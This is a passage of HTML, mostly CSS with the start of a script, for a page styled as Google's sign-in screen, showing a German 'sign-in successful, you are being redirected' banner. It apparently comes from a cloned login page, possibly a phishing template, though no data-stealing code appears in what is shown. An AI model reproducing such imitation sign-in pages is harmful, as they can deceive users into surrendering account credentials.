'Open Sans';\r\n  font-style: normal;\r\n  font-weight: 300;\r\n  src: local('Open Sans Light'), local('OpenSans-Light'), url(//fonts.gstatic.com/s/opensans/v13/DXI1ORHCpsQm3Vp6mXoaTegdm0LZdjqr5-oayXSOefg.woff2) format('woff2');\r\n  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2212, U+2215;\r\n}\r\n/* cyrillic-ext */\r\n@font-face {\r\n  font-family: 'Open Sans';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  src: local('Open Sans'), local('OpenSans'), url(//fonts.gstatic.com/s/opensans/v13/K88pR3goAWT7BTt32Z01mxJtnKITppOI_IvcXXDNrsc.woff2) format('woff2');\r\n  unicode-range: U+0460-052F, U+20B4, U+2DE0-2DFF, U+A640-A69F;\r\n}\r\n/* cyrillic */\r\n@font-face {\r\n  font-family: 'Open Sans';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  src: local('Open Sans'), local('OpenSans'), url(//fonts.gstatic.com/s/opensans/v13/RjgO7rYTmqiVp7vzi-Q5URJtnKITppOI_IvcXXDNrsc.woff2) format('woff2');\r\n  unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;\r\n}\r\n/* greek-ext */\r\n@font-face {\r\n  font-family: 'Open Sans';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  src: local('Open Sans'), local('OpenSans'), url(//fonts.gstatic.com/s/opensans/v13/LWCjsQkB6EMdfHrEVqA1KRJtnKITppOI_IvcXXDNrsc.woff2) format('woff2');\r\n  unicode-range: U+1F00-1FFF;\r\n}\r\n/* greek */\r\n@font-face {\r\n  font-family: 'Open Sans';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  src: local('Open Sans'), local('OpenSans'), url(//fonts.gstatic.com/s/opensans/v13/xozscpT2726on7jbcb_pAhJtnKITppOI_IvcXXDNrsc.woff2) format('woff2');\r\n  unicode-range: U+0370-03FF;\r\n}\r\n/* vietnamese */\r\n@font-face {\r\n  font-family: 'Open Sans';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  src: local('Open Sans'), local('OpenSans'), url(//fonts.gstatic.com/s/opensans/v13/59ZRklaO5bWGqF5A9baEERJtnKITppOI_IvcXXDNrsc.woff2) format('woff2');\r\n  unicode-range: U+0102-0103, U+1EA0-1EF9, U+20AB;\r\n}\r\n/* latin-ext */\r\n@font-face {\r\n  font-family: 'Open Sans';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  src: local('Open Sans'), local('OpenSans'), url(//fonts.gstatic.com/s/opensans/v13/u-WUoqrET9fUeobQW7jkRRJtnKITppOI_IvcXXDNrsc.woff2) format('woff2');\r\n  unicode-range: U+0100-024F, U+1E00-1EFF, U+20A0-20AB, U+20AD-20CF, U+2C60-2C7F, U+A720-A7FF;\r\n}\r\n/* latin */\r\n@font-face {\r\n  font-family: 'Open Sans';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  src: local('Open Sans'), local('OpenSans'), url(//fonts.gstatic.com/s/opensans/v13/cJZKeOuBrn4kERxqtaUH3VtXRa8TVwTICgirnJhmVJw.woff2) format('woff2');\r\n  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2212, U+2215;\r\n}\r\n  </style>\r\n  <style>\r\n  h1, h2 {\r\n  -webkit-animation-duration: 0.1s;\r\n  -webkit-animation-name: fontfix;\r\n  -webkit-animation-iteration-count: 1;\r\n  -webkit-animation-timing-function: linear;\r\n  -webkit-animation-delay: 0;\r\n  }\r\n  @-webkit-keyframes fontfix {\r\n  from {\r\n  opacity: 1;\r\n  }\r\n  to {\r\n  opacity: 1;\r\n  }\r\n  }\r\n  </style>\r\n<style>\r\n  html, body {\r\n  font-family: Arial, sans-serif;\r\n  background: #fff;\r\n  margin: 0;\r\n  padding: 0;\r\n  border: 0;\r\n  position: absolute;\r\n  height: 100%;\r\n  min-width: 100%;\r\n  font-size: 13px;\r\n  color: #404040;\r\n  direction: ltr;\r\n  -webkit-text-size-adjust: none;\r\n  }\r\n  button,\r\n  input[type=button],\r\n  input[type=submit] {\r\n  font-family: Arial, sans-serif;\r\n  font-size: 13px;\r\n  }\r\n  a,\r\n  a:hover,\r\n  a:visited {\r\n  color: #427fed;\r\n  cursor: pointer;\r\n  text-decoration: none;\r\n  }\r\n  a:hover {\r\n  text-decoration: underline;\r\n  }\r\n  h1 {\r\n  font-size: 20px;\r\n  color: #262626;\r\n  margin: 0 0 15px;\r\n  font-weight: normal;\r\n  }\r\n  h2 {\r\n  font-size: 14px;\r\n  color: #262626;\r\n  margin: 0 0 15px;\r\n  font-weight: bold;\r\n  }\r\n  input[type=email],\r\n  input[type=number],\r\n  input[type=password],\r\n  input[type=tel],\r\n  input[type=text],\r\n  input[type=url] {\r\n  -moz-appearance: none;\r\n  -webkit-appearance: none;\r\n  appearance: none;\r\n  display: inline-block;\r\n  height: 36px;\r\n  padding: 0 8px;\r\n  margin: 0;\r\n  background: #fff;\r\n  border: 1px solid #d9d9d9;\r\n  border-top: 1px solid #c0c0c0;\r\n  -moz-box-sizing: border-box;\r\n  -webkit-box-sizing: border-box;\r\n  box-sizing: border-box;\r\n  -moz-border-radius: 1px;\r\n  -webkit-border-radius: 1px;\r\n  border-radius: 1px;\r\n  font-size: 15px;\r\n  color: #404040;\r\n  }\r\n  input[type=email]:hover,\r\n  input[type=number]:hover,\r\n  input[type=password]:hover,\r\n  input[type=tel]:hover,\r\n  input[type=text]:hover,\r\n  input[type=url]:hover {\r\n  border: 1px solid #b9b9b9;\r\n  border-top: 1px solid #a0a0a0;\r\n  -moz-box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);\r\n  -webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);\r\n  box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);\r\n  }\r\n  input[type=email]:focus,\r\n  input[type=number]:focus,\r\n  input[type=password]:focus,\r\n  input[type=tel]:focus,\r\n  input[type=text]:focus,\r\n  input[type=url]:focus {\r\n  outline: none;\r\n  border: 1px solid #4d90fe;\r\n  -moz-box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);\r\n  -webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);\r\n  box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);\r\n  }\r\n  input[type=checkbox],\r\n  input[type=radio] {\r\n  -webkit-appearance: none;\r\n  display: inline-block;\r\n  width: 13px;\r\n  height: 13px;\r\n  margin: 0;\r\n  cursor: pointer;\r\n  vertical-align: bottom;\r\n  background: #fff;\r\n  border: 1px solid #c6c6c6;\r\n  -moz-border-radius: 1px;\r\n  -webkit-border-radius: 1px;\r\n  border-radius: 1px;\r\n  -moz-box-sizing: border-box;\r\n  -webkit-box-sizing: border-box;\r\n  box-sizing: border-box;\r\n  position: relative;\r\n  }\r\n  input[type=checkbox]:active,\r\n  input[type=radio]:active {\r\n  background: #ebebeb;\r\n  }\r\n  input[type=checkbox]:hover {\r\n  border-color: #c6c6c6;\r\n  -moz-box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);\r\n  -webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);\r\n  box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);\r\n  }\r\n  input[type=radio] {\r\n  -moz-border-radius: 1em;\r\n  -webkit-border-radius: 1em;\r\n  border-radius: 1em;\r\n  width: 15px;\r\n  height: 15px;\r\n  }\r\n  input[type=checkbox]:checked,\r\n  input[type=radio]:checked {\r\n  background: #fff;\r\n  }\r\n  input[type=radio]:checked::after {\r\n  content: '';\r\n  display: block;\r\n  position: relative;\r\n  top: 3px;\r\n  left: 3px;\r\n  width: 7px;\r\n  height: 7px;\r\n  background: #666;\r\n  -moz-border-radius: 1em;\r\n  -webkit-border-radius: 1em;\r\n  border-radius: 1em;\r\n  }\r\n  input[type=checkbox]:checked::after {\r\n  content: url(https://ssl.gstatic.com/ui/v1/menu/checkmark.png);\r\n  display: block;\r\n  position: absolute;\r\n  top: -6px;\r\n  left: -5px;\r\n  }\r\n  input[type=checkbox]:focus {\r\n  outline: none;\r\n  border-color: #4d90fe;\r\n  }\r\n  .stacked-label {\r\n  display: block;\r\n  font-weight: bold;\r\n  margin: .5em 0;\r\n  }\r\n  .hidden-label {\r\n  position: absolute !important;\r\n  clip: rect(1px 1px 1px 1px); /* IE6, IE7 */\r\n  clip: rect(1px, 1px, 1px, 1px);\r\n  height: 0px;\r\n  width: 0px;\r\n  overflow: hidden;\r\n  visibility: hidden;\r\n  }\r\n  input[type=checkbox].form-error,\r\n  input[type=email].form-error,\r\n  input[type=number].form-error,\r\n  input[type=password].form-error,\r\n  input[type=text].form-error,\r\n  input[type=tel].form-error,\r\n  input[type=url].form-error {\r\n  border: 1px solid #dd4b39;\r\n  }\r\n  .error-msg {\r\n  margin: .5em 0;\r\n  display: block;\r\n  color: #dd4b39;\r\n  line-height: 17px;\r\n  }\r\n  .help-link {\r\n  background: #dd4b39;\r\n  padding: 0 5px;\r\n  color: #fff;\r\n  font-weight: bold;\r\n  display: inline-block;\r\n  -moz-border-radius: 1em;\r\n  -webkit-border-radius: 1em;\r\n  border-radius: 1em;\r\n  text-decoration: none;\r\n  position: relative;\r\n  top: 0px;\r\n  }\r\n  .help-link:visited {\r\n  color: #fff;\r\n  }\r\n  .help-link:hover {\r\n  color: #fff;\r\n  background: #c03523;\r\n  text-decoration: none;\r\n  }\r\n  .help-link:active {\r\n  opacity: 1;\r\n  background: #ae2817;\r\n  }\r\n  .wrapper {\r\n  position: relative;\r\n  min-height: 100%;\r\n  }\r\n  .content {\r\n  padding: 0 44px;\r\n  }\r\n  .main {\r\n  padding-bottom: 100px;\r\n  }\r\n  /* For modern browsers */\r\n  .clearfix:before,\r\n  .clearfix:after {\r\n  content: \"\";\r\n  display: table;\r\n  }\r\n  .clearfix:after {\r\n  clear: both;\r\n  }\r\n  /* For IE 6/7 (trigger hasLayout) */\r\n  .clearfix {\r\n  zoom:1;\r\n  }\r\n  .google-header-bar {\r\n  height: 71px;\r\n  border-bottom: 1px solid #e5e5e5;\r\n  overflow: hidden;\r\n  }\r\n  .header .logo {\r\n  background-image: url(https://ssl.gstatic.com/accounts/ui/logo_1x.png);\r\n  background-size: 116px 38px;\r\n  background-repeat: no-repeat;\r\n  margin: 17px 0 0;\r\n  float: left;\r\n  height: 38px;\r\n  width: 116px;\r\n  }\r\n  .header .logo-w {\r\n  background-image: url(https://ssl.gstatic.com/images/branding/googlelogo/1x/googlelogo_color_112x36dp.png);\r\n  background-size: 112px 36px;\r\n  margin: 21px 0 0;\r\n  }\r\n  .header .secondary-link {\r\n  margin: 28px 0 0;\r\n  float: right;\r\n  }\r\n  .header .secondary-link a {\r\n  font-weight: normal;\r\n  }\r\n  .google-header-bar.centered {\r\n  border: 0;\r\n  height: 108px;\r\n  }\r\n  .google-header-bar.centered .header .logo {\r\n  float: none;\r\n  margin: 40px auto 30px;\r\n  display: block;\r\n  }\r\n  .google-header-bar.centered .header .secondary-link {\r\n  display: none\r\n  }\r\n  .google-footer-bar {\r\n  position: absolute;\r\n  bottom: 0;\r\n  height: 35px;\r\n  width: 100%;\r\n  border-top: 1px solid #e5e5e5;\r\n  overflow: hidden;\r\n  }\r\n  .footer {\r\n  padding-top: 7px;\r\n  font-size: .85em;\r\n  white-space: nowrap;\r\n  line-height: 0;\r\n  }\r\n  .footer ul {\r\n  float: left;\r\n  max-width: 80%;\r\n  min-height: 16px;\r\n  padding: 0;\r\n  }\r\n  .footer ul li {\r\n  color: #737373;\r\n  display: inline;\r\n  padding: 0;\r\n  padding-right: 1.5em;\r\n  }\r\n  .footer a {\r\n  color: #737373;\r\n  }\r\n  .lang-chooser-wrap {\r\n  float: right;\r\n  display: inline;\r\n  }\r\n  .lang-chooser-wrap img {\r\n  vertical-align: top;\r\n  }\r\n  .lang-chooser {\r\n  font-size: 13px;\r\n  height: 24px;\r\n  line-height: 24px;\r\n  }\r\n  .lang-chooser option {\r\n  font-size: 13px;\r\n  line-height: 24px;\r\n  }\r\n  .hidden {\r\n  height: 0px;\r\n  width: 0px;\r\n  overflow: hidden;\r\n  visibility: hidden;\r\n  display: none !important;\r\n  }\r\n  .banner {\r\n  text-align: center;\r\n  }\r\n  .card {\r\n  background-color: #f7f7f7;\r\n  padding: 20px 25px 30px;\r\n  margin: 0 auto 25px;\r\n  width: 304px;\r\n  -moz-border-radius: 2px;\r\n  -webkit-border-radius: 2px;\r\n  border-radius: 2px;\r\n  -moz-box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);\r\n  -webkit-box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);\r\n  box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);\r\n  }\r\n  .card > *:first-child {\r\n  margin-top: 0;\r\n  }\r\n  .rc-button,\r\n  .rc-button:visited {\r\n  display: inline-block;\r\n  min-width: 46px;\r\n  text-align: center;\r\n  color: #444;\r\n  font-size: 14px;\r\n  font-weight: 700;\r\n  height: 36px;\r\n  padding: 0 8px;\r\n  line-height: 36px;\r\n  -moz-border-radius: 3px;\r\n  -webkit-border-radius: 3px;\r\n  border-radius: 3px;\r\n  -o-transition: all 0.218s;\r\n  -moz-transition: all 0.218s;\r\n  -webkit-transition: all 0.218s;\r\n  transition: all 0.218s;\r\n  border: 1px solid #dcdcdc;\r\n  background-color: #f5f5f5;\r\n  background-image: -webkit-linear-gradient(top,#f5f5f5,#f1f1f1);\r\n  background-image: -moz-linear-gradient(top,#f5f5f5,#f1f1f1);\r\n  background-image: -ms-linear-gradient(top,#f5f5f5,#f1f1f1);\r\n  background-image: -o-linear-gradient(top,#f5f5f5,#f1f1f1);\r\n  background-image: linear-gradient(top,#f5f5f5,#f1f1f1);\r\n  -o-transition: none;\r\n  -moz-user-select: none;\r\n  -webkit-user-select: none;\r\n  user-select: none;\r\n  cursor: default;\r\n  }\r\n  .card .rc-button {\r\n  width: 100%;\r\n  padding: 0;\r\n  }\r\n  .rc-button.disabled,\r\n  .rc-button[disabled] {\r\n  opacity: .5;\r\n  filter: alpha(opacity=50);\r\n  cursor: default;\r\n  pointer-events: none;\r\n  }\r\n  .rc-button:hover {\r\n  border: 1px solid #c6c6c6;\r\n  color: #333;\r\n  text-decoration: none;\r\n  -o-transition: all 0.0s;\r\n  -moz-transition: all 0.0s;\r\n  -webkit-transition: all 0.0s;\r\n  transition: all 0.0s;\r\n  background-color: #f8f8f8;\r\n  background-image: -webkit-linear-gradient(top,#f8f8f8,#f1f1f1);\r\n  background-image: -moz-linear-gradient(top,#f8f8f8,#f1f1f1);\r\n  background-image: -ms-linear-gradient(top,#f8f8f8,#f1f1f1);\r\n  background-image: -o-linear-gradient(top,#f8f8f8,#f1f1f1);\r\n  background-image: linear-gradient(top,#f8f8f8,#f1f1f1);\r\n  -moz-box-shadow: 0 1px 1px rgba(0,0,0,0.1);\r\n  -webkit-box-shadow: 0 1px 1px rgba(0,0,0,0.1);\r\n  box-shadow: 0 1px 1px rgba(0,0,0,0.1);\r\n  }\r\n  .rc-button:active {\r\n  background-color: #f6f6f6;\r\n  background-image: -webkit-linear-gradient(top,#f6f6f6,#f1f1f1);\r\n  background-image: -moz-linear-gradient(top,#f6f6f6,#f1f1f1);\r\n  background-image: -ms-linear-gradient(top,#f6f6f6,#f1f1f1);\r\n  background-image: -o-linear-gradient(top,#f6f6f6,#f1f1f1);\r\n  background-image: linear-gradient(top,#f6f6f6,#f1f1f1);\r\n  -moz-box-shadow: 0 1px 2px rgba(0,0,0,0.1);\r\n  -webkit-box-shadow: 0 1px 2px rgba(0,0,0,0.1);\r\n  box-shadow: 0 1px 2px rgba(0,0,0,0.1);\r\n  }\r\n  .rc-button-submit,\r\n  .rc-button-submit:visited {\r\n  border: 1px solid #3079ed;\r\n  color: #fff;\r\n  text-shadow: 0 1px rgba(0,0,0,0.1);\r\n  background-color: #4d90fe;\r\n  background-image: -webkit-linear-gradient(top,#4d90fe,#4787ed);\r\n  background-image: -moz-linear-gradient(top,#4d90fe,#4787ed);\r\n  background-image: -ms-linear-gradient(top,#4d90fe,#4787ed);\r\n  background-image: -o-linear-gradient(top,#4d90fe,#4787ed);\r\n  background-image: linear-gradient(top,#4d90fe,#4787ed);\r\n  }\r\n  .rc-button-submit:hover {\r\n  border: 1px solid #2f5bb7;\r\n  color: #fff;\r\n  text-shadow: 0 1px rgba(0,0,0,0.3);\r\n  background-color: #357ae8;\r\n  background-image: -webkit-linear-gradient(top,#4d90fe,#357ae8);\r\n  background-image: -moz-linear-gradient(top,#4d90fe,#357ae8);\r\n  background-image: -ms-linear-gradient(top,#4d90fe,#357ae8);\r\n  background-image: -o-linear-gradient(top,#4d90fe,#357ae8);\r\n  background-image: linear-gradient(top,#4d90fe,#357ae8);\r\n  }\r\n  .rc-button-submit:active {\r\n  background-color: #357ae8;\r\n  background-image: -webkit-linear-gradient(top,#4d90fe,#357ae8);\r\n  background-image: -moz-linear-gradient(top,#4d90fe,#357ae8);\r\n  background-image: -ms-linear-gradient(top,#4d90fe,#357ae8);\r\n  background-image: -o-linear-gradient(top,#4d90fe,#357ae8);\r\n  background-image: linear-gradient(top,#4d90fe,#357ae8);\r\n  -moz-box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);\r\n  -webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);\r\n  box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);\r\n  }\r\n  .rc-button-red,\r\n  .rc-button-red:visited {\r\n  border: 1px solid transparent;\r\n  color: #fff;\r\n  text-shadow: 0 1px rgba(0,0,0,0.1);\r\n  background-color: #d14836;\r\n  background-image: -webkit-linear-gradient(top,#dd4b39,#d14836);\r\n  background-image: -moz-linear-gradient(top,#dd4b39,#d14836);\r\n  background-image: -ms-linear-gradient(top,#dd4b39,#d14836);\r\n  background-image: -o-linear-gradient(top,#dd4b39,#d14836);\r\n  background-image: linear-gradient(top,#dd4b39,#d14836);\r\n  }\r\n  .rc-button-red:hover {\r\n  border: 1px solid #b0281a;\r\n  color: #fff;\r\n  text-shadow: 0 1px rgba(0,0,0,0.3);\r\n  background-color: #c53727;\r\n  background-image: -webkit-linear-gradient(top,#dd4b39,#c53727);\r\n  background-image: -moz-linear-gradient(top,#dd4b39,#c53727);\r\n  background-image: -ms-linear-gradient(top,#dd4b39,#c53727);\r\n  background-image: -o-linear-gradient(top,#dd4b39,#c53727);\r\n  background-image: linear-gradient(top,#dd4b39,#c53727);\r\n  }\r\n  .rc-button-red:active {\r\n  border: 1px solid #992a1b;\r\n  background-color: #b0281a;\r\n  background-image: -webkit-linear-gradient(top,#dd4b39,#b0281a);\r\n  background-image: -moz-linear-gradient(top,#dd4b39,#b0281a);\r\n  background-image: -ms-linear-gradient(top,#dd4b39,#b0281a);\r\n  background-image: -o-linear-gradient(top,#dd4b39,#b0281a);\r\n  background-image: linear-gradient(top,#dd4b39,#b0281a);\r\n  -moz-box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);\r\n  -webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);\r\n  box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);\r\n  }\r\n  .secondary-actions {\r\n  text-align: center;\r\n  }\r\n</style>\r\n<style media=\"screen and (max-width: 800px), screen and (max-height: 800px)\">\r\n  .google-header-bar.centered {\r\n  height: 83px;\r\n  }\r\n  .google-header-bar.centered .header .logo {\r\n  margin: 25px auto 20px;\r\n  }\r\n  .card {\r\n  margin-bottom: 20px;\r\n  }\r\n</style>\r\n<style media=\"screen and (max-width: 580px)\">\r\n  html, body {\r\n  font-size: 14px;\r\n  }\r\n  .google-header-bar.centered {\r\n  height: 73px;\r\n  }\r\n  .google-header-bar.centered .header .logo {\r\n  margin: 20px auto 15px;\r\n  }\r\n  .content {\r\n  padding-left: 10px;\r\n  padding-right: 10px;\r\n  }\r\n  .hidden-small {\r\n  display: none;\r\n  }\r\n  .card {\r\n  padding: 20px 15px 30px;\r\n  width: 270px;\r\n  }\r\n  .footer ul li {\r\n  padding-right: 1em;\r\n  }\r\n  .lang-chooser-wrap {\r\n  display: none;\r\n  }\r\n</style>\r\n<style media=\"screen and (-webkit-min-device-pixel-ratio: 1.5), (min--moz-device-pixel-ratio: 1.5), (-o-min-device-pixel-ratio: 3 / 2), (min-device-pixel-ratio: 1.5)\">\r\n  .header .logo {\r\n  background-image: url(https://ssl.gstatic.com/accounts/ui/logo_2x.png);\r\n  }\r\n  .header .logo-w {\r\n  background-image: url(https://ssl.gstatic.com/images/branding/googlelogo/2x/googlelogo_color_112x36dp.png);\r\n  }\r\n</style>\r\n<style>\r\n  pre.debug {\r\n  font-family: monospace;\r\n  position: absolute;\r\n  left: 0;\r\n  margin: 0;\r\n  padding: 1.5em;\r\n  font-size: 13px;\r\n  background: #f1f1f1;\r\n  border-top: 1px solid #e5e5e5;\r\n  direction: ltr;\r\n  white-space: pre-wrap;\r\n  width: 90%;\r\n  overflow: hidden;\r\n  }\r\n</style>\r\n<style>\r\n  .banner h1 {\r\n  font-family: 'Open Sans', arial;\r\n  -webkit-font-smoothing: antialiased;\r\n  color: #555;\r\n  font-size: 42px;\r\n  font-weight: 300;\r\n  margin-top: 0;\r\n  margin-bottom: 20px;\r\n  }\r\n  .banner h2 {\r\n  font-family: 'Open Sans', arial;\r\n  -webkit-font-smoothing: antialiased;\r\n  color: #555;\r\n  font-size: 18px;\r\n  font-weight: 400;\r\n  margin-bottom: 20px;\r\n  }\r\n  .signin-card {\r\n  width: 274px;\r\n  padding: 40px 40px;\r\n  }\r\n  .signin-card .profile-img {\r\n  width: 96px;\r\n  height: 96px;\r\n  margin: 0 auto 10px;\r\n  display: block;\r\n  -moz-border-radius: 50%;\r\n  -webkit-border-radius: 50%;\r\n  border-radius: 50%;\r\n  }\r\n  .signin-card .profile-name {\r\n  font-size: 16px;\r\n  font-weight: bold;\r\n  text-align: center;\r\n  margin: 10px 0 0;\r\n  min-height: 1em;\r\n  }\r\n  .signin-card .profile-email {\r\n  font-size: 16px;\r\n  text-align: center;\r\n  margin: 10px 0 20px 0;\r\n  min-height: 1em;\r\n  }\r\n  .signin-card input[type=email],\r\n  .signin-card input[type=password],\r\n  .signin-card input[type=text],\r\n  .signin-card input[type=submit] {\r\n  width: 100%;\r\n  display: block;\r\n  margin-bottom: 10px;\r\n  z-index: 1;\r\n  position: relative;\r\n  -moz-box-sizing: border-box;\r\n  -webkit-box-sizing: border-box;\r\n  box-sizing: border-box;\r\n  }\r\n  .signin-card #Email,\r\n  .signin-card #Passwd,\r\n  .signin-card .captcha {\r\n  direction: ltr;\r\n  height: 44px;\r\n  font-size: 16px;\r\n  }\r\n  .signin-card #Email + .stacked-label {\r\n  margin-top: 15px;\r\n  }\r\n  .signin-card #reauthEmail {\r\n  display: block;\r\n  margin-bottom: 10px;\r\n  line-height: 36px;\r\n  padding: 0 8px;\r\n  font-size: 15px;\r\n  color: #404040;\r\n  line-height: 2;\r\n  margin-bottom: 10px;\r\n  font-size: 14px;\r\n  text-align: center;\r\n  overflow: hidden;\r\n  text-overflow: ellipsis;\r\n  white-space: nowrap;\r\n  -moz-box-sizing: border-box;\r\n  -webkit-box-sizing: border-box;\r\n  box-sizing: border-box;\r\n  }\r\n  .one-google p {\r\n  margin: 0 0 10px;\r\n  color: #555;\r\n  font-size: 14px;\r\n  text-align: center;\r\n  }\r\n  .one-google p.create-account,\r\n  .one-google p.switch-account {\r\n  margin-bottom: 60px;\r\n  }\r\n  .one-google .logo-strip {\r\n  background-repeat: no-repeat;\r\n  display: block;\r\n  margin: 10px auto;\r\n  background-image: url(https://ssl.gstatic.com/accounts/ui/wlogostrip_230x17_1x.png);\r\n  background-size: 230px 17px;\r\n  width: 230px;\r\n  height: 17px;\r\n  }\r\n</style>\r\n<style media=\"screen and (max-width: 800px), screen and (max-height: 800px)\">\r\n  .banner h1 {\r\n  font-size: 38px;\r\n  margin-bottom: 15px;\r\n  }\r\n  .banner h2 {\r\n  margin-bottom: 15px;\r\n  }\r\n  .one-google p.create-account,\r\n  .one-google p.switch-account {\r\n  margin-bottom: 30px;\r\n  }\r\n  .signin-card #Email {\r\n  margin-bottom: 0;\r\n  }\r\n  .signin-card #Passwd {\r\n  margin-top: -1px;\r\n  }\r\n  .signin-card #Email.form-error,\r\n  .signin-card #Passwd.form-error {\r\n  z-index: 2;\r\n  }\r\n  .signin-card #Email:hover,\r\n  .signin-card #Email:focus,\r\n  .signin-card #Passwd:hover,\r\n  .signin-card #Passwd:focus {\r\n  z-index: 3;\r\n  }\r\n</style>\r\n<style media=\"screen and (max-width: 580px)\">\r\n  .banner h1 {\r\n  font-size: 22px;\r\n  margin-bottom: 15px;\r\n  }\r\n  .signin-card {\r\n  width: 260px;\r\n  padding: 20px 20px;\r\n  margin: 0 auto 20px;\r\n  }\r\n  .signin-card .profile-img {\r\n  width: 72px;\r\n  height: 72px;\r\n  -moz-border-radius: 72px;\r\n  -webkit-border-radius: 72px;\r\n  border-radius: 72px;\r\n  }\r\n</style>\r\n<style media=\"screen and (-webkit-min-device-pixel-ratio: 1.5), (min--moz-device-pixel-ratio: 1.5), (-o-min-device-pixel-ratio: 3 / 2), (min-device-pixel-ratio: 1.5)\">\r\n  .one-google .logo-strip {\r\n  background-image: url(https://ssl.gstatic.com/accounts/ui/wlogostrip_230x17_2x.png);\r\n  }\r\n</style>\r\n<style>\r\n  .need-help-reverse {\r\n  float: right;\r\n  }\r\n  .remember .bubble-wrap {\r\n  position: absolute;\r\n  padding-top: 3px;\r\n  -o-transition: opacity .218s ease-in .218s;\r\n  -moz-transition: opacity .218s ease-in .218s;\r\n  -webkit-transition: opacity .218s ease-in .218s;\r\n  transition: opacity .218s ease-in .218s;\r\n  left: -999em;\r\n  opacity: 0;\r\n  width: 314px;\r\n  margin-left: -20px;\r\n  }\r\n  .remember:hover .bubble-wrap,\r\n  .remember input:focus ~ .bubble-wrap,\r\n  .remember .bubble-wrap:hover,\r\n  .remember .bubble-wrap:focus {\r\n  opacity: 1;\r\n  left: inherit;\r\n  }\r\n  .bubble-pointer {\r\n  border-left: 10px solid transparent;\r\n  border-right: 10px solid transparent;\r\n  border-bottom: 10px solid #fff;\r\n  width: 0;\r\n  height: 0;\r\n  margin-left: 17px;\r\n  }\r\n  .bubble {\r\n  background-color: #fff;\r\n  padding: 15px;\r\n  margin-top: -1px;\r\n  font-size: 11px;\r\n  -moz-border-radius: 2px;\r\n  -webkit-border-radius: 2px;\r\n  border-radius: 2px;\r\n  -moz-box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);\r\n  -webkit-box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);\r\n  box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);\r\n  }\r\n</style>\r\n  </head>\r\n  <body>\r\n  <div class=\"wrapper\">\r\n  <div class=\"google-header-bar  centered\">\r\n  <div class=\"header content clearfix\">\r\n  <div class=\"logo logo-w\" aria-label=\"Google\"></div>\r\n  </div>\r\n  </div>\r\n  <div class=\"main content clearfix\">\r\n<div class=\"banner\">\r\n  <h2>\r\n  Anmeldung erfolgreich, Sie werden nun weitergeleitet.\r\n  </h2>\r\n</div>\r\n\r\n  <div class=\"one-google\">\r\n  </div>\r\n  </div>\r\n  <div class=\"google-footer-bar\">\r\n  <div class=\"footer content clearfix\">\r\n  <ul id=\"footer-list\">\r\n  <li>\r\n  <a href=\"https://www.google.de/intl/de/about\" target=\"_blank\">\r\n  Über Google\r\n  </a>\r\n  </li>\r\n  <li>\r\n  <a href=\"https://accounts.google.com/TOS?loc=DE&amp;hl=de&amp;privacy=true\" target=\"_blank\">\r\n  Datenschutz\r\n  </a>\r\n  </li>\r\n  <li>\r\n  <a href=\"https://accounts.google.com/TOS?loc=DE&amp;hl=de\" target=\"_blank\">\r\n  Nutzungsbedingungen\r\n  </a>\r\n  </li>\r\n  <li>\r\n  <a href=\"http://www.google.com/support/accounts?hl=de\" target=\"_blank\">\r\n  Hilfe\r\n  </a>\r\n  </li>\r\n  </ul>\r\n  \r\n  </div>\r\n</div>\r\n  </div>\r\n  <script>\r\n  (function(){\r\n  var splitByFirstChar = function(toBeSplit, splitChar) {\r\n  var index = toBeSplit.indexOf(splitChar);\r\n  if (index >= 0) {\r\n  return [toBeSplit.substring(0, index),\r\n  toBeSplit.substring(index + 1)];\r\n  }\r\n  return [toBeSplit];\r\n  }\r\n  var langChooser_parseParams = function(paramsSection) {\r\n  if (paramsSection) {\r\n  var query = {};\r\n  var params = paramsSection.split('&');\r\n  for (var i = 0; i < params.length; i++) {\r\n              var param = splitByFirstChar(params[i], '=');\r\n              if (param.length == 2) {\r\n                query[param[0]] = param[1];\r\n              }\r\n            }\r\n            return query;\r\n          }\r\n          return {};\r\n        }\r\n        var appendHiddenParams = function(query) {\r\n          var loginForm = document.getElementById('gaia_loginform');\r\n          if (loginForm) {\r\n            var loginInputs = loginForm.getElementsByTagName('input');\r\n            for (var i = 0, input; input = loginInputs[i]; i++) {\r\n              if (input.type == 'hidden' && input.value && !query[input.name]) {\r\n                query[input.name] = input.value;\r\n              }\r\n            }\r\n          }\r\n        }\r\n        var post = function(path, params) {\r\n          var form = document.createElement('form');\r\n          form.setAttribute('method', 'post');\r\n          form.setAttribute('action', path);\r\n\r\n          for (var key in params) {\r\n            if (params.hasOwnProperty(key)) {\r\n              var hiddenField = document.createElement('input');\r\n              hiddenField.setAttribute('type', 'hidden');\r\n              hiddenField.setAttribute('name', key);\r\n              hiddenField.setAttribute('value', params[key]);\r\n\r\n              form.appendChild(hiddenField);\r\n            }\r\n          